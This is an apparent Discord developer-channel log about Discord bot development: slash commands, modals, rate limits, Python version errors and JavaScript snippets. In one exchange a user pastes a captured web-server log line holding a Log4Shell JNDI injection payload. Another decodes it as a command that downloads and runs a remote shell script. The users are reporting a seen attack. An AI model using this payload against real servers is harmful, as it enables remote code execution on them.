#development

1 messages · Page 2027 of 1

proven lantern
#

idk either. memory is broken in ec2

thorn spruce
#

ok i understand. Thanks you guy's for the answers !

covert ingot
#

Im returning to express after almost a year and was wonderin if how i can get all instances of the people currently on the website? Like me saying “there are x people currently viewing this page”

#

Little bit rusty

cinder patio
#

if you want realtime stats you'll have to use websockets

covert ingot
boreal iron
#

w t f is this new integration permission bullshit

#

shouldn't the developer decide who can use which permissions

#

i dont get it

covert ingot
#

discords really been takin the piss

#

i took a break from coding all together around 9 months ago i dont wanna imagine what its like now

proven lantern
#

there is ai that can write code for you now

#

gg

covert ingot
#

Im jus not even gonna bother with discord now

proven lantern
covert ingot
#

thats been a thing for a while hasnt it

proven lantern
#

idk

#

probably

#

June 29th 2021

covert ingot
#

Yeah

stiff lynx
#

slash commands are something that should be a very good thing for users for not having 726472773 prefixes, but discord is going in the wrong way

boreal iron
#

i would like to define which permission can use and see a command, instead of using an own permission handler

#

but nope

#

also there's still no sub command grouping in the UI

#

there will never be one probably

stiff lynx
#

this update is bullshit

boreal iron
proven lantern
boreal iron
#

it should literally just show /config

#

without sub commands

#

when entering /config it should show up sub commands

proven lantern
#

yeah, like a nested tree structure

#

not a flat list

boreal iron
#

that's what I wanna see since slash commands being introduced

#

but I will never see it probably

feral aspen
#

You mean having to enter the base command, alone?

quartz kindle
#

they said they are planning to improve the ui for subcommands

#

including not making them flat

boreal iron
feral aspen
boreal iron
#

nope doesn't work

quartz kindle
feral aspen
boreal iron
#

you're very limited with the options after your choice

quartz kindle
#

yes

#

with sub commands you can have completely different sets of options for each one

#

if you put the subcommand as the first option, you cant do that

boreal iron
#

correct, also with optional options without the need to require each one

feral aspen
#

That's for complex scenarios, true.

boreal iron
#

but I dont wanna see 1000 sub commands in the UI, just the main command

feral aspen
#

Is there a limit for sub-commands? How many sub-commands can a command have?

boreal iron
feral aspen
# boreal iron

In this case, you need different different set of options for each one, as Tim said. Although, supposedly, we're using like /user [ban, kick] <@user>, that's what I'm talking (which is the worst thing to do).

boreal iron
#

/config channel and /config nickname can both have parameters (options) but can also be executed without them

#

That doesn't work with choices

#

The parameters can't be dynamical

#

let's say, channel for /config channel OR nickname for /config nickname

#

choices are totally useless in this case

feral aspen
#

At this case, I confused myself, my bad on that.

boreal iron
#

yaaaay

#

panda pictures are done being moved in a few seconds

boreal iron
#

Since modals exist

feral aspen
#

Modals are really good.

boreal iron
#

Selecting the config option, then opening the modal with the fields I need

feral aspen
#

I would use them for supposedly inputting your premium code, etc.

boreal iron
#

They aren’t really good yet

#

With other field types

#

Just strings are stupid

#

We need like each standard form field type

#

At least, select menus, check boxes etc

#

To make the modals really usable

feral aspen
#

I haven't really used them, yet, but I'm yet learning more about them. It's why I said "I would use them for.." since I yet didn't use it yet.

And what? Only strings are acceptable as inputs?

boreal iron
#

Current only text fields, yes

feral aspen
#

Massive yikes.

boreal iron
#

Either small fields or text areas

lament rock
#

New Discord update, new round of additions and deprecations

feral aspen
#

I would love to see those type of select menus in the modals and you can input True, False, and etc.

boreal iron
#

That’s what everybody is waiting for

feral aspen
#

It would be a really amazing feature, but I bet this will be a little bit too complex for us to understand.

proven lantern
feral aspen
boreal iron
#

If those make it in there’s literally no reason to not use application commands anymore

lament rock
#

Weirdly enough, you send modals in action rows and action rows can be 5x5

boreal iron
#

Yeah

feral aspen
#

By the way, threads forum channels are not yet rolled out to everybody, correct?

lament rock
#

They've been out since v9

#

unless you mean forum channels

feral aspen
#

Woops, forum channels.

lament rock
#

It's only in like 10% of non community guilds with less than 200 members iirc

boreal iron
#

Let’s see if modals get an update until Oktober

#

But I doubt somehow

split hazel
#

i feel like they shouldve perfected modals/slash commands completely before making them mandatory

lament rock
#

They pushed back the date so far

boreal iron
quartz kindle
#

thank god they pushed it back by 4 months

#

my shit is nowhere near ready

lament rock
#

They pushed the date back to sept 1st

boreal iron
#

I bet we won’t see any updates on modals until then or any other useful implementation

quartz kindle
#

there were people asking for autocomplete on modals

#

and more modal fields

boreal iron
#

Yeah what we being talking about 100 times already

#

That would already make a lot of things easier

#

As well as checkboxes and date pickers

#

But who cares about what we want

#

the kidz wanna have more bling bling features, emojis and animated icons anywhere

#

after paying to be allowed to use them

lament rock
#

$10 nitro is totally useless

#

me who pays for it

boreal iron
#

@-@

quartz kindle
#

never bought nitro

boreal iron
#

WTF

#

@quartz kindle why did you ruin your profile Tim

#

You aren’t eligible anymore for the fuck nitro club

#

Now lost any hope

boreal iron
#

Shut up bitch!

quartz kindle
#

i was gifted

#

blame voltrex

boreal iron
#

No more excuses!!!

quartz kindle
#

its not the first time im gifted nitro

#

dont worry, it will go away in a month

#

:^)

boreal iron
#

You just couldn’t resist to use animated emojis

dry imp
#

fake, just join the darkside

quartz kindle
#

i never used animated emojis lel

boreal iron
#

I wasted money for any shit you can imagine but nope, not for 16x16 icons

boreal iron
dense cradle
#

guys

#

I need a bot which links twitter and instagram together

solemn latch
#

you want to develop that bot?

dense cradle
#

is there a bot already made?

covert ingot
#

Is there a way to get a user widget? Ive checked the docs but i cant find it but im 99% sure it is a thing

#

discord docs*

#

Never mind actually

split hazel
#

@quartz kindle speedb js driver 0.0.1 now out

quartz kindle
#

lmao

split hazel
#

strings perform the same as numbers because of hashes

#

by the way is around 20ms for no cache decent when having to traverse through ~10k records to find a result? (including client/transmission overhead)

boreal iron
#

No relational db?

#

Common speedicus

#

When doing it then do it accurately

split hazel
#

gotta move on with the times

boreal iron
#

Eww I don’t like new things

quartz kindle
#

thats similar to grep performance on a 10mb file

#

(depending on disk speed)

proven lantern
#

if you do a binary search through 10k records it should take about 13 operations to find it

quartz kindle
#

only if the records are sorted

proven lantern
#

true

split hazel
split hazel
#

for specific columns

#

for example forcing the table to be sorted

#

though that will only work for one column

lyric mountain
wheat mesa
#

also assuming that the records are sorted though mmLol

lyric mountain
#

Everything is sorted, you just don't know the condition KEKW

wheat mesa
#

bogosorted™️

lyric mountain
#

I wonder what are the odds of bogosort finishing in the first try

proven lantern
#

log growth is good

#

unless you want to grow fast

#

then it's bad

bright thorn
#

If someone vote my bot it will dm him

lyric mountain
#

Was that a question or...?

bright thorn
#

So i case 60 members voting at once

#

Bot can get any strike ?

lyric mountain
#

Message ratelimit is per channel

#

The global limit is 50/10s

quartz kindle
#

50/1s

lyric mountain
#

The odds of 60 people voting at the same time are extremely low

lyric mountain
bright thorn
#

So mean its okay

#

So its safe?

lyric mountain
#

Pretty much

#

Never heard of a single case of vote ddossing

bright thorn
#

Like dank memer is also sending dm

#

In case 1 s 500 vote in 1s he getting

quartz kindle
bright thorn
#

Then?

lyric mountain
#

At the worst scenario, it'll just delay a bit the messages

#

Any reliable library has internal ratelimiter

bright thorn
#

Oh

#

Cool

#

I was just scared

#

After delopyed this update

#

🤣

solemn latch
#

also, you would think dank memer would have more requests than a regular user's bot

quartz kindle
#

well big bots have increased limits

earnest phoenix
#

Is that possible MegaThonk

quartz kindle
#

what is?

bright thorn
#

🧐

bright thorn
#

Dank memer too much active bot

quartz kindle
#

dank memer probably gets hundreds of commands per second

bright thorn
#

Yeah

lyric mountain
quartz kindle
earnest phoenix
lyric mountain
#

There's no list there

quartz kindle
#

there is no list for individual rate limits

#

they are all dynamic

solemn latch
#

Discord doesnt provide a list for each endpoint, as they are dynamic

lyric mountain
#

Ic

#

So bots with big enough traffic get higher limits than a barely alive bot

bright thorn
#

Also you guys know that discord doesn't care developer s

#

🥴

lyric mountain
#

I mean, ever tried to use twitch api?

bright thorn
#

They just publish updates

lyric mountain
#

THAT'S not caring abt developers

#

Also patreon

solemn latch
#

just never update?

bright thorn
lyric mountain
#

Starboard? I mean, discord had pinned messages for a while

bright thorn
#

And also new youtube partnership is also not good for all

lyric mountain
#

But they never reached the glory of a bot-made starboard

bright thorn
#

Each and every server will have a starboard by default

#

😟

solemn latch
#

I sure hope its not by default

lyric mountain
#

Ah yeah, imagine the trolling

bright thorn
#

Am using beta thats why i am telling

lyric mountain
#

But I doubt it'll make starboard bots obsolete

bright thorn
#

I will upload a pic when i will open pc

lyric mountain
#

Discord features were never customizable enough to surpass bots

#

They're like the "default"

earnest phoenix
bright thorn
#

Yes

slender thistle
#

Their recent update with setting up interactions is... quite something

#

I don't necessarily think it's "doesn't care." Rather, just lack of proper organization and connection to the community from Discord management

bright thorn
#

Music bots can't use youtube but they will use in incoming update where we can see ads in videos inside the activity of YouTube together

earnest phoenix
#

for example, all of a sudden, they publish intents under the name of "confidentiality"

bright thorn
crystal furnace
slender thistle
#

Intents are a good idea, privileged intents are weird

earnest phoenix
#

Intents just bullshit

slender thistle
#

Verification system is shit and dumb

crystal furnace
#

but why?

spark flint
#

Because they didn’t have access to your account

crystal furnace
#

The attacker maybe already know my bot token (I full deploy it to Heroku)

spark flint
#

They targeted certain organisations

#

Not random people

bright thorn
#

🥴

crystal furnace
#

But I receive a mail from github

slender thistle
#

Whatever they probably wouldn't get from you

spark flint
#

I got one too

earnest phoenix
#

Bruh moment

spark flint
#

^

#

They targeted several larger organisations

#

To get access to their private repos

#

Not random accounts

slender thistle
#

But if you're feeling antsy you can reset your token just in case

crystal furnace
spark flint
#

Possibly

#

We will never know

#

They won’t disclose that

slender thistle
#

Hi big meanie hackers plz tell us what organizations you hackerinod uwu

crystal furnace
#

hmm

spark flint
#

They gained access to certain private repositories

crystal furnace
#

both Heroku and Github fixed that?

spark flint
#

Yeah

crystal furnace
#

I hear that Heroku deny deploy directly from Github to their app before everything done

spark flint
#

Tldr; nothing to worry about. GitHub disclosed it to anyone who may be affected, because it is the law to do so

#

Just because you were notified doesn’t mean you were necessary affected

crystal furnace
#

oke sir

wheat mesa
#

Unless you have anything worth value, none of the attacks will actually effect you

#

They’re more after big organizations with code that could potentially be worth a LOT of money

#

(Like when twitch source code got leaked)

bright thorn
#

Can we check if a user commented on bot page or not?

spark flint
#

Via API? Nope

#

Is there a specific reason?

quartz kindle
plush copper
#

While trying to update my code, I keep getting an error of As of 3.10, the *loop* parameter was removed from Event() since it is no longer necessary
My code is the following

@tasks.loop(minutes=30.0)
async def fun(args):
    #code
```How would I fix this error? Im not sure which version of dbl or d.py this is from, but I am currently using dblpy v0.4
lyric mountain
#

Did u try...yk...removing @tasks.loop?

#

Check the docs for whatever is supposed to be used instead

plush copper
#

Could you send the link for the docs for v0.4?

lyric mountain
#

Google it

plush copper
#

And while I would remove it, I wasn't sure if there was something I needed to replace

lyric mountain
#

There probably is, since the error states it's no longer necessary to use .loop

quartz kindle
#

that has nothing to do with dpy

#

its from python itself

#

you're using tasks.loop in your code

#

python is saying that loop was removed in python 3.10

#

either look into the python docs for how stuff should be done in 3.10, or dont use 3.10, stay on 3.9

#

also make check if the libraries you're using support 3.10 in the first place

#

since different python versions are often not compatible with each other

dry imp
#

average python 3.9 enjoyer 😎

proven lantern
#

gitbhub actions has my build queued for 5 minutes

plush copper
lyric mountain
#

Did u save the file?

plush copper
#

I did

quartz kindle
#

show the full error

plush copper
quartz kindle
#

the problem is this

#

inside the dbl package

#

meaning this package is not updated for python 3.10

plush copper
#

The only asyncio code I had was a sleep command, not a loop

#

await asyncio.sleep(1800)

#

And after removing that and running it, I still get the same error

dry imp
#

its from the dbl package not from your code

plush copper
#

If I send my code, would you be able to help tell me what I need to fix then? Because im not sure whats wrong atp

dry imp
#

bro... WatameYandereScary

#

meaning this package is not updated for python 3.10

plush copper
#

Oh, I misunderstood what he said, the rest of my bot is already made in py3.10, if I were to swap to 3.9, do you think that would cause any issues?

dry imp
#

i dont think it will

plush copper
#

Alright, let me go mess around with things

dry imp
#

unless

plush copper
#

Hm?

dry imp
#

unless you've made the bot that used the python feature that specifically made for python 3.10

lyric mountain
#

U can also clone the dbl lib and fix in ur fork

plush copper
#

Tbh, im not sure if there is anything in the bot specifically for 3.10

lyric mountain
#

Since the lib is pretty simple

plush copper
quartz kindle
#

or bug the developer about it

dry imp
#

dbl py dev 💀

lyric mountain
#

Idk if the original dbl py lib is still maintaining it

plush copper
#

I don't wanna bother the dev over this lmao, it ain't that serious

lyric mountain
#

Ngl, I might go to hell but damn I appreciate java's backward compatibility when I see people suffering with version updates

plush copper
lyric mountain
#

Well, tbh idk how u install a non-pip lib on python

#

Can u compile python code into packages?

plush copper
#

Im not sure, on the github, it shows you can install it from source, so if I just replaced that url with my fork, you think it would work?

lyric mountain
#

Then follow that, but for ur fork url

plush copper
#

Alright, thank you, this will be some trip for me to do

lyric mountain
#

gl

quartz kindle
#

its not even updated for python 3.9

lyric mountain
#

3.8 💀

plush copper
#

Well

#

This will be something

lyric mountain
#

It'll be a nice experience

plush copper
#

Sure will be

dry imp
#

damn just realised its dblpy

#

topggpy supports 3.9 thank god

cosmic forum
#

Hello, how would I go about trying to make an array from a string sorted based on the amount of time a specific word shows up?

Example:

str = "hello, my name is bob. what is your name?"
arr = ["name", "is", ...]
lament rock
proven lantern
#
function HashBag() {
    const map = {};
    let highest;
    const add = function (thing) {
        map[thing] = map[thing] ? map[thing] + 1 : 1;
        if (typeof highest === "undefined" || map[thing] > map[highest]) {
            highest = thing;
        }
    };
    const getCount = function (thing) {
        return map[thing];
    };

    const getHighest = function () {
        return highest;
    };

    return Object.freeze({
        add, getCount, getHighest
    })
}

const bag = new HashBag();

const words = "hello, my name is bob. what is your name?".split(/[^a-zA-Z]/).filter(a => a !== '');

for (const word of words) {
    bag.add(word)
}
console.log(bag.getHighest())
lament rock
#

over engineered tbh

proven lantern
#

i used the hashbag from yesterday

#

lol

lament rock
#

the regex to split the string by actual words might be desireable, but most of that is unnecessary

proven lantern
#

the hashbags and class is useless

#

agreed

lament rock
#

cool concept tho

lyric mountain
#

At the end of the day, it's always useful to have a bag

quartz kindle
#

yes

#

to store your windows 95 diskettes

lyric mountain
#

Please insert diskette 7

lament rock
#

I still have a disc with pirated windows 7 on it some company gave me along with the key to use with that disk in a bag

tulip cradle
#

How delete unwanted Slash commands

lament rock
#

its probably destroyed by now. I hated that company

quartz kindle
#

i used to have windows xp black edition on a cd

lament rock
#

what that

tulip cradle
lament rock
#

you can bulk overwrite your application commands

quartz kindle
#

those alternative windows editions were fire

tulip cradle
#

But its shows trash commands

#

Testing cmd also

lament rock
#

if you overwrite and it still shows, allow up to an hour for the commands to be applied to your client

#

if it still shows after that, restart your client.

quartz kindle
#

what library are you using?

tulip cradle
#

On every restart^

tulip cradle
lament rock
#

Are you trying to bulk override on a guild

quartz kindle
#

client.commands.delete for global commands

#

guild.commands.delete for guild commands

#

you can also use .set() which replaces all commands with a new list of commands

tulip cradle
lament rock
tulip cradle
#

English stolen_emoji

quartz kindle
#

ingurishu wakarimasen ka?

proven lantern
# lament rock over engineered tbh
const words = "hello, my name is bob. what is your name?".split(/[^a-zA-Z]/).filter(a => a !== '');
const wordsCount = words.reduce((acc, word) => ({...acc, [word]: acc[word] ? acc[word] + 1 : 1}), {});
const highestCount = Math.max(...Object.values(wordsCount));
const mostCommonWords = Object.keys(wordsCount).filter(word => wordsCount[word] === highestCount);
console.log(mostCommonWords);
lament rock
#

You never de-duplicate the Array do you

proven lantern
#

wordsCount is a map

lament rock
#

Oh

#

that is a cursed reduce

#

spreading the accumulator so much is a bad idea

proven lantern
#

the accumulator is supposed to be a clone every time

#

your not supposed to pass references

#

but people do it

#

and i cant stop them

lament rock
#

The return value of the callback is the new value of the accumulator. You can pass back the reference just fine

proven lantern
#

dont do that with redux reducers

lament rock
#

passing back the reference when dealing with Objects/Arrays/classes is the best way to do it if the accumulator is mutable

#

otherwise, you're just creating a lot of garbage

#

if you're adamant on not passing back references, then how you did it isn't the ideal solution

proven lantern
#

mutating is slower than creating

#

but uses less memory

#

but it's not 1995

lament rock
#

The speed increase is non existent here

proven lantern
lament rock
#

Their point is that if you don't know how to mutate, then you should create.
An edit to their comment says

As stated in the comments (and also mentioned in the question), of course copying on every iteration is less performant.

And I admit that in many cases, technically I can't see any disadvantages of mutating the accumulator (if you know what you are doing!).

Actually, thinking about it again, inspired from the comments and other answers, I changed my mind a bit, and will consider mutating more often now, maybe at least where I don't see any risk that e.g. somebody else misunderstands my code later.

Their points then reinforces that the only concern is that you're mutating something so the initial value will be different

proven lantern
#

watch me shoot this gun at my foot. i almost always miss

lament rock
#

I don't see how that analogy should apply here. In the instance of me, I know how to properly mutate and what the implications are. I will mutate accumulators in the future and you cannot change my mind with arguments like: "If you don't know how, you shouldn't" since that doesn't apply to me. I would assume it also does not apply to you, so I would encourage just providing good examples instead of idiot proofing. They'll learn 1 way or another

proven lantern
#

i like idiot proofing

#

it helps me later

lament rock
#

I don't have time to idiot proof anything of mine. If people aren't using strict type checking with js or using ts, then not a me problem

proven lantern
#

good idea. make it overly complex and then idiots wont understand it at all and stay away

#

lol

tulip cradle
#

i want delete these unwanted commands

proven lantern
#

what is this and why is discord.js using it?

#

??=

sharp geyser
#

so it seems like if the left side is null it assigns whatever that left side is to the right side (I think)

proven lantern
#

aws needs to update lambdas to support nodejs 16

#

that operator is too fancy

sharp geyser
#

also there is even ||= and &&=

proven lantern
#

madness

sharp geyser
#

I thing it is rather useful

#

tho I don't see how the logical and assignment and logical or assignment would be useful in the field

#

now the logical OR assignment seems to be useful

#

I just did a bit of testing and I can see how it can be useful in some cases

proven lantern
#

i wish i could use it with aws

bright hornet
#

How do i send my current balance in my wallet to other member? economy

pale vessel
#

update both member's data

bright hornet
sharp geyser
#

You can take the current balance the author has and add it to the other person's balance while also subtracting the same amount from the authors balance

bright hornet
pale vessel
#
data.wallet += data.wallet
data.save();```what are you doing here
#

call the other member's model something else, not data

#
memberData.wallet += data.wallet
memberData.save();```
bright hornet
tulip cradle
#
    const commands = interaction.client.slashCommands;
``````js
        commands.map((command) =>
          commandsEmbed.addField({
            name: `Music`,
            value: `${command.data.name.toLowerCase()}`,
            inline: true,
          })
        );```

```fix
RangeError [EMBED_FIELD_NAME]: MessageEmbed field names must be non-empty strings.
#
commands.map((command) =>
          commandsEmbed.addField(
            `>>> \`/${command.data.name.toLowerCase().replace("_", "-")}\``,
            command.data.description,
            true
          )
        );```

it works
celest gate
timber fractal
#

how do I call a js function, using ejs?

for example, I want this p element to have as content the output of Math.floor(Math.random() * 10), how would I do that?

cinder patio
celest gate
cinder patio
#

maybe the bot isn't smart enough so it takes it more time to think?

celest gate
#

at logs the error is coming

#

like this

rustic nova
#

You're replying (late response) and then trying it again, check your code

timber fractal
cinder patio
#

idk try it

timber fractal
#

doesnt work

#

i fixed it

celest gate
#

like this

rustic nova
#

Read the discord docs

spark flint
lyric mountain
#
  • only works in webhooks and embeds
spark flint
#

^

lyric mountain
#

actually I dont even know why discord doesn't allow in any message

boreal iron
#

would probably lead to even more scam

lyric mountain
#

but there's a screen when u try to open any url in disc

boreal iron
#

as you could hide the link to anything, for example as a common looking message link

#

which most people dont watch or read

stiff lynx
#

I'm struggling with modals in discord.js.
I'm trying to show a modal from a button.

// InteractionCreate file
if (interaction.isButton()) {
        //! await interaction.deferReply({ ephemeral: true }).catch(() => {})

        if (interaction.customId === 'partner') {
            const modal = new Modal()
                .setCustomId('messaggio-partner')
                .setTitle('Richiesta di partner con PW World')
                .addComponents(
                    new TextInputComponent()
                        .setLabel('Messaggio Partner del tuo server')
                        .setPlaceholder('Corpo partner')
                        .setCustomId('partner')
                        .setStyle('LONG')
                        .setMinLength(50)
                        .setMaxLength(2000)
                        .setRequired(true),
                    new TextInputComponent()
                        .setLabel('Community Roleplay, RoleplayPS4, Gaming')
                        .setPlaceholder(
                            'Scegliere una tipologia quelle proposte'
                        )
                        .setCustomId('tiposerver')
                        .setStyle('SHORT')
                        .setMinLength(1)
                        .setMaxLength(20)
                        .setRequired(true)
                )

            showModal(modal, { client: client, interaction: interaction })
        }
    }```
Error:
```console
SHOW_MODAL_ERROR: An error occurred when showing a modal. DiscordAPIError: Unknown interaction```
spark flint
tulip cradle
spark flint
#

doesn't make a difference but pls do showModal(modal, { client, interaction}) OMG

#

cure my depression

stiff lynx
lyric mountain
#

reply, edit, deferReply or deferEdit

slender thistle
#

ack means acknowledge the interaction

boreal iron
stiff lynx
#

in the modal event or in the buttons?

lyric mountain
#

else the interaction goes stale in 3s

stiff lynx
#

I've tried both

spark flint
#

wait

#

i mean like fake giveaway bots

boreal iron
#

I can guarantee you there're less scam bots than user accounts

stiff lynx
lyric mountain
tulip cradle
lyric mountain
#

defer reply then use the hook to send the message

#

dont use the event itself

stiff lynx
#

what is a hook 😨
Maybe I know, but I call them with the italian name

boreal iron
#

webhook

tulip cradle
#

Yup

stiff lynx
#

I don't know how to do it lmao

split hazel
#

I don't think that helps too much lmao

stiff lynx
#

agreed

#

without the button, starting from a slash command worked fine

tulip cradle
stiff lynx
#

I have the problem with the button

lyric mountain
#

🪝🐟 event.deferReply

🎣 event.hook.sendMessage

#

or something like that

boreal iron
#

Ignore Kuuhubakawankaukuku

#

your interaction event comes with the webhook property

tulip cradle
boreal iron
#

which represents the webhook class you can use to send/edit messages etc.

tulip cradle
#

Without bot/user

stiff lynx
#

never used that

simple stump
#

Using ExpressJS, I want to make a POST request while also redirecting the user to that page. So for example, if user clicks the link "My Link" with the data "https://mylink.com", I want to send a post request to another page which gets the data and displays it. I'm currently using jQuery and HTML to handle the POST requests, then writing the jQuery and HTML as a website. This is what I have so far:
https://sourceb.in/svX92yKXbc

I tested the HTTP requests which works perfectly fine. As for redirecting and sending the data is what I'm having trouble with.

#

Never mind I think I figured it out

spark flint
#

You could try a form

#

Ik you said you figured it out

simple stump
#

yea im using a form rn haha

proven lantern
#

how hard would it be to get the guild count without using a discord library?

hybrid wasp
#

someone got any idea why my bot just has ping slash command. I didn't add it, is there a way to remove it?
when I try to run the command there's an error because it doesn't exist.

proven lantern
#

do a Get Guild Application Command and find the ID for that command and then use Delete Global Application

proven lantern
quartz kindle
#

for accurate you can use either the rest api or the gateway, the rest api has a limit of 100 guilds per request, so its much slower than websocket but doesnt require any setup

#

for websocket you need to setup sharding and such, but you can basically connect with 0 intents, wait for the HELLO packet, then disconnect

proven lantern
quartz kindle
#

the invite link cant be viewed without being logged in?

proven lantern
#

i dont think so. i just tried in incognito

quartz kindle
#

rip

solemn latch
fluid garden
#

Is that real that discord will bot verify prefixs bots?

#

???

spark flint
#

yes

warm summit
#

Happened on one of my bots

hybrid wasp
#

i fixed it

boreal iron
#

@quartz kindle found a new funny attack method

#
81.17.20.98 - - [28/Apr/2022:20:43:30 +0200] "GET / HTTP/1.1" 403 18 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//81.17.20.98:2420/TomcatBypass/Command/Base64/d2dldCA5NS4yMTMuMjA4LjIyNi93Z2V0LnNoOyBjaG1vZCAreCB3Z2V0LnNoOyAuL3dnZXQuc2g=}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//81.17.20.98:2420/TomcatBypass/Command/Base64/d2dldCA5NS4yMTMuMjA4LjIyNi93Z2V0LnNoOyBjaG1vZCAreCB3Z2V0LnNoOyAuL3dnZXQuc2g=}')"
quartz kindle
#

in log4j?

boreal iron
#

The payload is send as referer and as user agent

quartz kindle
#

nice

boreal iron
#

I guess that injects code in apps handling the webserver log

#

looks like u're right

#

base64 wget 95.213.208.226/wget.sh; chmod +x wget.sh; ./wget.sh

quartz kindle
#

im trying to access those urls to see what the payload is

#

but they all come up as invalid

boreal iron
#

same here

#
    asn: {
        asn: "AS49505",
        name: "OOO \"Network of data-centers \"Selectel\"",
        domain: "selectel.ru",
        route: "95.213.208.0/22",
        type: "hosting"
    }
#

no questions asked

#

still funny to see

quartz kindle
#

guess it was taken down already

#

would like to see what the payload was

boreal iron
#

yeah but funny that you can inject your payload like that as referer and/or user agent

quartz kindle
#

what if the payload includes npm i node-ipc

#

:^)

boreal iron
#

lol

#

from a russian source

#

as payback

simple stump
#

I'm trying to send a POST request and redirect the user to that page using ExpressJS and jQuery. However, whenever I click a link it always sends the same data and never the data I'm going for. I've logged all the links, names, etc. and they all match up, but based on my testing it seems to be a jQuery issue.
https://sourceb.in/d6LqkyJzYL

pale vessel
#

thought you fixed it

boreal iron
#

Why don’t you simply use ajax?

#

It could be possible the values are cached

#

Make sure to set the property cache: false

fluid garden
#

I cant add just /help command and discird approve my bot?

#

Like just some /

#

Commands

boreal iron
simple stump
boreal iron
simple stump
simple stump
boreal iron
#

By default the data is cached in ajax and probably is for this method, too

simple stump
#

Ah ic. I just looked up Ajax and it is def smth that will be helpful. Thanks for the suggestion I’ll try that out rq

boreal iron
#

Np

tulip cradle
#

     .addField({ name: `bruh`, value: `BRUH BRUH` });
RangeError [EMBED_FIELD_NAME]: MessageEmbed field names must be non-empty strings.```
#

any one know why?

spark flint
#

just do js .addField(`bruh`, `BRUH BRUH`)

spark flint
#

yeah

#

exactly

tulip cradle
spark flint
#

.addField(`name`, `value`)

#

because it wants a string not a json

tulip cradle
# tulip cradle
   embedname.addField({ name: `bruh`, value: `BRUH BRUH` });

embedname only?

tulip cradle
spark flint
#

try js .addField(`Servers`, scount)

tulip cradle
#

bruh

tulip cradle
spark flint
quartz kindle
#

addField(name, value) is correct

#

its not addField({ name, value })

#

however, addFields uses your format

#

addFields([{name, value}, {name, value}, etc..])

boreal iron
#

addFields is so useless since you have to pass the array of objects anyways

feral aspen
#

What is the different between a static programming language and a dynamic programming language?

quartz kindle
#

you mean statically typed vs dynamically typed?

feral aspen
#

.. or statically and dynamically typed.

#

Yes.

quartz kindle
#

statically typed means that the type of the variables must be written by the programmer, ie, the code has to know what is the type of every variable

#

dynamically typed means you dont need to write any types, because the code will automatically convert everything

feral aspen
#

Typescript is statically typed, correct?

quartz kindle
#

for example in a statically typed language you cannot do var a = 10

#

you have to do int a = 10 because 10 is an integer

#

TS is statically typed yes, but its not very strict about it

cinder patio
quartz kindle
#

depends on the language and the compiler

feral aspen
quartz kindle
#

you cant do that in C

cinder patio
#

yes that's why I said most

quartz kindle
#

depends on the language

#

int would be the same for most languages

#

but C does not have a str/string

feral aspen
#

Aha.

quartz kindle
#

in C++ you would do std::string

feral aspen
#

C++ is a static.

feral aspen
quartz kindle
#

in C you would use a char array

#

char[] mystring = "abc"

feral aspen
#

Ooo, fair. Also, what's a languages' compiler?

quartz kindle
#

a compiler is the program that converts the code you wrote into a program the computer can run

#

for example convering it to .exe on windows

quartz kindle
#

basically yeah

feral aspen
#

Fair.

quartz kindle
#

although you can read executables as assembly

feral aspen
#

Is there a compiler language, or like every programming language have a compiler language.

quartz kindle
#

compilers are just programs, any language can create one

#

the first compilers, before modern languages existed, were probably written in assembly

cinder patio
#

compilers usually compile your code to assembly

feral aspen
#

Ohh, so is it something I can check like the compiler of Javascript?

feral aspen
quartz kindle
#

javascript doesnt techincally have a compiler, but v8, the most popular js engine, has a small compiler to boost the performance

feral aspen
#

Ohh, alright. I'll need to read more about compilers compiling code to assembly.

#

That's my topic for the day. 🙌

quartz kindle
#

you might also wanna look into the differences between compiled and interpreted languages/code

past yarrow
#

D

quartz kindle
#

E

split hazel
#

f

boreal iron
#

ake

plush copper
#

With topggpy's autopost feature, do I only need the 3 lines of

import topgg
dbl_token = "token"
bot.topggpy = topgg.DBLClient(bot, dbl_token, autopost=True)
```?
turbid otter
#

Hello there! How can I prevent my bot from being scraped off of Top.gg due to people self-botting and creating bot farms with a lot of bots?

ℹ️ This is a copy-paste of <#support message>.

boreal iron
#

Filter servers your bot joins by the name, the amount of bots compared to the members and maybe by the usage behavior of specific commands

turbid otter
#

Yeah that's what am doing

boreal iron
#

The first two options will probably filter the most servers already

#

Well that’s it, there aren’t much more options

past yarrow
#

I want to make the autorol command only for voters

spark flint
#

thats full code

quartz kindle
#

what is evidence and reason?

spark flint
quartz kindle
#

evidence is not a string

spark flint
#

ah

#

proof is tho

quartz kindle
#

wait it is

spark flint
#

i just changed it to "evidence":proof

quartz kindle
#

do you have the full error?

spark flint
quartz kindle
#

well that couldnt be more useless

eternal osprey
#
 let counter1 = 0
    const filter = (m) => {
      return m.author.id === message.author.id
    }

    const collector = new Discord.MessageCollector(message.channel, filter, {
      max: questions.length,
     
    })

    message.member.send(questions[counter++])
    collector.on('collect', (m) => {
      console.log(m)
      if (counter < questions.length) {
        m.member.send(questions[counter++])
       
      }
    })
```hey how would i make this dang collector work in dm?
spark flint
#

that better?

eternal osprey
#

It is only sending it to the member in dm, but you can only answer it in the channel right now. Really annoying

spark flint
#

oh wait

#

shit

#

fuck i just realised i'm stupid

past yarrow
#

I want to make the autorol command only for voters

quartz kindle
pale vessel
eternal osprey
#

sure*

#

dm intent? Where is that

quartz kindle
#

you know what intents are right?

eternal osprey
#

yeah ofc, but the dm intent is nowhere to be found in the portal

quartz kindle
pale vessel
spark flint
#

was editing the wrong fucking file

quartz kindle
#

exdee

spark flint
#

then each restart to fix takes 5 mins

quartz kindle
#

it was this right?

spark flint
#

yeah

quartz kindle
#

while it should have been this

spark flint
#

oop bots online

#

time ti test

#

yeah

#

yep it worked this time

eternal osprey
past yarrow
eternal osprey
#

might have been smart to say that i use v12 btw

quartz kindle
#

the intents in your dev portal are the privileged ones

#

but otherwise all intents have to be defined in your code

past yarrow
boreal iron
#

That’s part of the header of your http request

#

To the topgg api endpoint

eternal osprey
#

I have added the intents in my client defining, however it's still only accepting messages from the channel where i wrote !verify

#

how would i make sure members can react in the dm

quartz kindle
#

new Discord.MessageCollector(message.channel, filter, {

#

so it only collects from that channel

quartz kindle
warm summit
quartz kindle
#

938 times

#

and a half

boreal iron
#

Hello?

#

Hello?

#

Ah.. finally back online yaay

warm summit
#

Hi @boreal iron

boreal iron
#

Trash mobile carrier

quartz kindle
boreal iron
quartz kindle
#

Vrei să pleci dar nu mă, nu mă iei
Nu mă, nu mă iei, nu mă, nu mă, nu mă iei

boreal iron
#

Ooka booka

quartz kindle
